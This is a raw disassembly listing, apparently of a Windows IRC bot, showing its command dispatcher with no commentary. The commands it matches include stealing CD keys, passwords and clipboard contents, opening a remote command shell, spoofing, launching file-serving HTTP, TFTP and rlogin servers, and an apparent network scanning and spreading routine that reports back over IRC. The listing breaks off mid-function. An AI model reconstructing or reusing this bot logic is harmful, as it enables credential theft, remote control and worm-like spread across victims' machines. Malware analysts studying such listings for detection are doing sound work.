		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340B
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C8BC
		push	offset dword_42C8B0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_40340B:				; CODE XREF: sub_401ACD+1924j
		push	edi
		push	offset dword_42C8AC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403528
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C898
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40343F:				; CODE XREF: sub_401ACD+1956j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344D
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_401ACD+19CCj
		mov	eax, [ebp+arg_18]


loc_40344D:				; CODE XREF: sub_401ACD+197Bj
		cmp	[eax], bl
		jz	short loc_403454
		inc	eax
		jmp	short loc_403459
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_401ACD+1982j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403459:				; CODE XREF: sub_401ACD+1985j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_40344A
		push	offset unk_42C864
		call	sub_4151AD
		pop	ecx


loc_4034A6:				; CODE XREF: sub_401ACD+1C5Bj
					; sub_401ACD+2F44j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF5
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A23
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C830
		push	eax
		mov	dword_4CEE08, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FE:				; CODE XREF: sub_401ACD+3023j
		cmp	[ebp+var_8], ebx
		jnz	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_403520:				; CODE XREF: sub_401ACD+7119j
		add	esp, 14h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_403528:				; CODE XREF: sub_401ACD+194Dj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B4
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C788
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403693:				; CODE XREF: sub_401ACD+1BA8j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B4:				; CODE XREF: sub_401ACD+1B90j
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403708
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403708:				; CODE XREF: sub_401ACD+1C20j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372E
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A6


loc_40372E:				; CODE XREF: sub_401ACD+1C4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C71C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1B
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: sub_401ACD+1D07j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: sub_401ACD+1CF1j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42C6E0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: sub_401ACD+1BF6j
					; sub_401ACD+1C0Bj
		mov	al, byte_431CE2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CE2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FE:				; CODE XREF: sub_401ACD+1D39j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403818:				; CODE XREF: sub_401ACD+2009j
		push	0Bh
		call	sub_40B33F
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C6A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_401ACD+1D65j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_431B00


loc_40389C:				; CODE XREF: sub_401ACD+1DEDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: sub_401ACD+1DE3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D8:				; CODE XREF: sub_401ACD+1DC8j
					; sub_401ACD+1DEFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: sub_401ACD+1EB1j
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: sub_401ACD+1E8Fj
					; sub_401ACD+1E93j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: sub_401ACD+1F00j
		mov	[ebp+var_7D0], bl


loc_4039E8:				; CODE XREF: sub_401ACD+1F13j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: sub_401ACD+1F26j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C620
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: sub_401ACD+1FB5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9F
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: sub_401ACD+1FA3j
		call	near ptr 26709D6h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E4
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: sub_401ACD+1FABj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403AC0:				; CODE XREF: sub_401ACD+1FD5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_403ACD:				; CODE XREF: sub_401ACD+1D95j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_401ACD+1E11j
		push	offset unk_42C5AC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_401ACD+1B66j
					; sub_401ACD+1B7Bj
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_42C58C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: sub_401ACD+2028j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: sub_401ACD+203Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h


loc_403B38:				; CODE XREF: sub_401ACD+2055j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset byte_42910C


loc_403B48:				; CODE XREF: sub_401ACD+2074j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403C14


loc_403BFE:				; CODE XREF: sub_401ACD+2145j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401ACD+212Fj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42C51C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_403C25:				; CODE XREF: sub_401ACD+1B3Cj
					; sub_401ACD+1B51j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C49
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_401ACD+2161j
					; sub_401ACD+216Cj
		mov	eax, dword_42907C


loc_403C49:				; CODE XREF: sub_401ACD+2175j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7C
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA7
; ---------------------------------------------------------------------------


loc_403C7C:				; CODE XREF: sub_401ACD+219Cj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 26609FBh
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA7:				; CODE XREF: sub_401ACD+21ADj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD2
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD2:				; CODE XREF: sub_401ACD+21EFj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403D86


loc_403D74:				; CODE XREF: sub_401ACD+22B7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA1
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_403D74
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_401ACD+22A5j
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_42C4A4


loc_403D92:				; CODE XREF: sub_401ACD+241Aj
					; sub_401ACD+4D05j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA1:				; CODE XREF: sub_401ACD+22ADj
					; sub_401ACD+23FEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	edi
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_401ACD+1B12j
					; sub_401ACD+1B27j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403DD0:				; CODE XREF: sub_401ACD+22EDj
					; sub_401ACD+22F8j
		mov	eax, dword_429080


loc_403DD5:				; CODE XREF: sub_401ACD+2301j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEC
		lea	eax, [ebp+var_C4]


loc_403DEC:				; CODE XREF: sub_401ACD+2317j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0E
		mov	esi, offset dword_43D808


loc_403E0E:				; CODE XREF: sub_401ACD+233Aj
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C468
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset word_410A4E
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403EDB


loc_403EC5:				; CODE XREF: sub_401ACD+240Cj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EDB:				; CODE XREF: sub_401ACD+23F6j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42C42C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: sub_401ACD+1AE8j
					; sub_401ACD+1AFDj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFF
		push	esi
		call	sub_41B779
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: sub_401ACD+2428j
		push	0Bh
		call	sub_40B35E


loc_403F06:				; CODE XREF: sub_401ACD+2430j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA57
		jmp	loc_4043BA
; ---------------------------------------------------------------------------


loc_403F26:				; CODE XREF: sub_401ACD+1ABEj
					; sub_401ACD+1AD3j
		mov	eax, dword_4CB570
		cmp	eax, ebx
		jz	short loc_403F43
		call	eax
		test	eax, eax
		jz	short loc_403F3C
		push	offset unk_42C408
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F3C:				; CODE XREF: sub_401ACD+2466j
		push	offset unk_42C3DC
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F43:				; CODE XREF: sub_401ACD+2460j
		push	offset unk_42C3B0


loc_403F48:				; CODE XREF: sub_401ACD+246Dj
					; sub_401ACD+2474j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDC
; ---------------------------------------------------------------------------


loc_403F5E:				; CODE XREF: sub_401ACD+1A94j
					; sub_401ACD+1AA9j
		call	sub_40AB32
		test	eax, eax
		jz	short loc_403F6E
		push	offset unk_42C38C
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	offset unk_42C360
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F75:				; CODE XREF: sub_401ACD+1A6Aj
					; sub_401ACD+1A7Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F94
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C348
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403F94:				; CODE XREF: sub_401ACD+24ABj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D7
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C32C
		jmp	loc_404286
; ---------------------------------------------------------------------------


loc_403FB6:				; CODE XREF: sub_401ACD+18FAj
